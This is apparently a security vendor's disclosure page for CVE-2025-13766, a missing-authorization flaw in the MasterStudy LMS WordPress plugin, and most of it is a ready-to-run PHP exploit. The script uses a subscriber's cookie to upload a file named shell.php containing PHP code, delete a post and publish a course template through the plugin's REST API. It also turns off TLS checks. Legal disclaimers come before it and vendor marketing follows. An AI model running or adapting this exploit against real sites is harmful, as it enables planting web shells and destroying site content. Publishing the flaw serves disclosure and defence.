NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13766 - MasterStudy LMS WordPress Plugin – for Online Courses and Education <= 3.7.6 Missing Authorization to Authenticated (Subscriber+) Posts and Media Creation, Modification and Deletion

<?php
/**
 * Proof of Concept for CVE-2025-13766
 * Demonstrates unauthorized media upload and post deletion via vulnerable REST API endpoints
 * Requires valid WordPress authentication cookies
 */

$target_url = 'https://vulnerable-site.com'; // CHANGE THIS
$cookie = 'wordpress_logged_in_abc=...'; // Valid auth cookie

// Function to send authenticated requests
function send_request($endpoint, $method = 'GET', $data = null, $file = null) {
    global $target_url, $cookie;
    
    $url = $target_url . '/wp-json/lms' . $endpoint;
    $ch = curl_init();
    
    $headers = [
        'Cookie: ' . $cookie,
        'User-Agent: Atomic-Edge-PoC/1.0'
    ];
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    if ($method === 'POST' || $method === 'PUT' || $method === 'DELETE') {
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
        
        if ($file) {
            // Multipart file upload for media endpoint
            $post_data = [
                'file' => new CURLFile($file['tmp_name'], $file['type'], $file['name'])
            ];
            curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
        } elseif ($data) {
            // JSON data for other endpoints
            $headers[] = 'Content-Type: application/json';
            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
        }
    }
    
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Test 1: Unauthorized media file upload
function test_media_upload() {
    echo "[+] Testing unauthorized media upload...n";
    
    // Create a temporary test file
    $temp_file = tempnam(sys_get_temp_dir(), 'poc_');
    file_put_contents($temp_file, '<?php echo "Atomic Edge Test"; ?>');
    
    $file_data = [
        'tmp_name' => $temp_file,
        'name' => 'shell.php',
        'type' => 'application/x-php'
    ];
    
    $result = send_request('/media/upload', 'POST', null, $file_data);
    
    echo "HTTP Code: " . $result['code'] . "n";
    echo "Response: " . $result['response'] . "nn";
    
    unlink($temp_file);
    
    if ($result['code'] === 200 || $result['code'] === 201) {
        echo "[!] SUCCESS: Media uploaded without proper authorizationnn";
        return true;
    }
    
    return false;
}

// Test 2: Unauthorized post deletion
function test_post_deletion($post_id = 1) {
    echo "[+] Testing unauthorized post deletion...n";
    
    $result = send_request('/posts/' . $post_id, 'DELETE');
    
    echo "HTTP Code: " . $result['code'] . "n";
    echo "Response: " . $result['response'] . "nn";
    
    if ($result['code'] === 200 || $result['code'] === 204) {
        echo "[!] SUCCESS: Post deleted without proper authorizationnn";
        return true;
    }
    
    return false;
}

// Test 3: Unauthorized course template creation
function test_template_creation() {
    echo "[+] Testing unauthorized course template creation...n";
    
    $template_data = [
        'title' => 'Atomic Edge Test Template',
        'content' => 'Malicious template content',
        'status' => 'publish'
    ];
    
    $result = send_request('/course-templates', 'POST', $template_data);
    
    echo "HTTP Code: " . $result['code'] . "n";
    echo "Response: " . $result['response'] . "nn";
    
    if ($result['code'] === 200 || $result['code'] === 201) {
        echo "[!] SUCCESS: Course template created without proper authorizationnn";
        return true;
    }
    
    return false;
}

// Main execution
echo "========================================n";
echo "Atomic Edge CVE-2025-13766 PoCn";
echo "Target: " . $target_url . "n";
echo "========================================nn";

// Run tests
test_media_upload();
test_post_deletion();
test_template_creation();

echo "========================================n";
echo "PoC completed. Check responses above.n";
echo "========================================n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School